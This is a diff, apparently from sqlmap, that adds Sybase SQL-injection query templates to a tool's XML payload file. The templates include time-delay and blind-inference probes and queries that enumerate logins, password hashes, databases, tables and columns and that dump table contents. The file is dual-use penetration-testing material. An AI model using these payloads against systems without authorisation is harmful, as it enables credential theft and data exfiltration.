|
428 | 428 | <substring query="SUBSTR((%s), %d, %d)"/> |
429 | 429 | </dbms> |
430 | 430 |
|
| 431 | + <!-- Sybase --> |
| 432 | + <dbms value="Sybase"> |
| 433 | + <cast query="CAST(%s AS VARCHAR(8000))"/> |
| 434 | + <length query="LTRIM(STR(LEN(%s)))"/> |
| 435 | + <isnull query="ISNULL(%s, ' ')"/> |
| 436 | + <delimiter query="+"/> |
| 437 | + <limit query="SELECT TOP %d "/> |
| 438 | + <limitregexp query="TOP\s+([\d]+)\s+.+?\s+FROM\s+.+?\s+WHERE\s+.+?\s+NOT\s+IN\s+\(SELECT\s+TOP\s+([\d]+)\s+"/> |
| 439 | + <limitgroupstart query="2"/> |
| 440 | + <limitgroupstop query="1"/> |
| 441 | + <limitstring/> |
| 442 | + <order query="ORDER BY %s ASC"/> |
| 443 | + <count query="COUNT(%s)"/> |
| 444 | + <comment query="--" query2="/*"/> |
| 445 | + <timedelay query="WAITFOR DELAY '0:0:%d'"/> |
| 446 | + <substring query="SUBSTRING((%s), %d, %d)"/> |
| 447 | + <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/> |
| 448 | + <inference query="AND ASCII(SUBSTRING((%s), %d, 1)) > %d"/> |
| 449 | + <banner query="SELECT @@VERSION"/> |
| 450 | + <current_user query="SELECT SUSER_NAME()"/> |
| 451 | + <current_db query="SELECT DB_NAME()"/> |
| 452 | + <is_dba query="PATINDEX('%sa_role%', SHOW_ROLE())>0"/> |
| 453 | + <users> |
| 454 | + <inband query="SELECT name FROM master..syslogins ORDER BY 1" query2="SELECT name FROM sys.sql_logins ORDER BY 1"/> |
| 455 | + <blind query="SELECT TOP 1 name FROM master..syslogins WHERE name NOT IN (SELECT TOP %d name FROM master..syslogins)" query2="SELECT TOP 1 name FROM sys.sql_logins WHERE name NOT IN (SELECT TOP %d name FROM sys.sql_logins)" count="SELECT LTRIM(STR(COUNT(name))) FROM master..syslogins" count2="SELECT LTRIM(STR(COUNT(name))) FROM sys.sql_logins"/> |
| 456 | + </users> |
| 457 | + <passwords> |
| 458 | + <inband query="SELECT name, password FROM master..syslogins" query2="SELECT name, password_hash FROM sys.sql_logins" condition="name"/> |
| 459 | + <blind query="SELECT TOP 1 password FROM master..syslogins WHERE name='%s' AND name NOT IN (SELECT TOP %d name FROM master..syslogins WHERE name='%s')" query2="SELECT TOP 1 password_hash FROM sys.sql_logins WHERE name='%s' AND name NOT IN (SELECT TOP %d name FROM sys.sql_logins WHERE name='%s')" count="SELECT LTRIM(STR(COUNT(password))) FROM master..syslogins WHERE name='%s'" count2="SELECT LTRIM(STR(COUNT(password_hash))) FROM sys.sql_logins WHERE name='%s'"/> |
| 460 | + </passwords> |
| 461 | + <privileges/> |
| 462 | + <roles/> |
| 463 | + <dbs> |
| 464 | + <inband query="SELECT name FROM master..sysdatabases ORDER BY 1"/> |
| 465 | + <blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases)" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/> |
| 466 | + </dbs> |
| 467 | + <tables> |
| 468 | + <inband query="SELECT name FROM %s..sysobjects WHERE type IN ('U') ORDER BY 1"/> |
| 469 | + <blind query="SELECT TOP 1 name FROM %s..sysobjects WHERE type IN ('U') AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE type IN ('U'))" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE type IN ('U')"/> |
| 470 | + </tables> |
| 471 | + <columns> |
| 472 | + <inband query="SELECT %s..syscolumns.name, TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" condition="[DB]..syscolumns.name"/> |
| 473 | + <blind query="SELECT %s..syscolumns.name FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')" condition="[DB]..syscolumns.name"/> |
| 474 | + </columns> |
| 475 | + <dump_table> |
| 476 | + <inband query="SELECT %s FROM %s..%s"/> |
| 477 | + <blind query="SELECT TOP 1 %s FROM %s..%s WHERE %s NOT IN (SELECT TOP %d %s FROM %s..%s)" count="SELECT LTRIM(STR(COUNT(*))) FROM %s..%s"/> |
| 478 | + </dump_table> |
| 479 | + <search_db> |
| 480 | + <inband query="SELECT name FROM master..sysdatabases WHERE " condition="name"/> |
| 481 | + <blind query="SELECT name FROM master..sysdatabases WHERE " count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases WHERE " condition="name"/> |
| 482 | + </search_db> |
| 483 | + <search_table> |
| 484 | + <inband query="SELECT name FROM %s..sysobjects WHERE type IN ('U') AND " condition="name" condition2="name"/> |
| 485 | + <blind query="" query2="SELECT name FROM %s..sysobjects WHERE type IN ('U') " count="" count2="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE type IN ('U')" condition="name" condition2="name"/> |
| 486 | + </search_table> |
| 487 | + <search_column> |
| 488 | + <inband query="SELECT %s..sysobjects.name FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id" condition="[DB]..syscolumns.name"/> |
| 489 | + <blind query="" query2="SELECT %s..sysobjects.name FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id" count="" count2="SELECT COUNT(%s..sysobjects.name) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id" condition="[DB]..syscolumns.name"/> |
| 490 | + </search_column> |
| 491 | + </dbms> |
431 | 492 | </root> |
0 commit comments